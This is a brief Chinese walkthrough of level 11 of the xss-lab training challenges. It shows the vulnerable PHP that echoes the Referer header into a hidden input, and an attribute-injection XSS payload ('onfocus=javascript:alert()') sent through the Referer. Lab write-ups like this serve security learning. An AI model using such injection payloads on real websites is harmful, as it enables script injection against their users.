xss-lab的level11-level14

level11：
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

?t_ref=" onfocus=javascript:alert() type="text'
onfocus=javascript:alert() type="text ' " 
但是t_ref参数接收的是HTTP_REFERER请求头，所以这道题应该是在这里存在漏洞点
但是要注意的是大于号是被删除了

尝试抓包
如果在url提交，那么抓包也抓不到数据
所以真正的做法是：因为t_ref直接接收refer，所以直接构造referer
" onfocus=javascript:alert() type="text把这个填在referer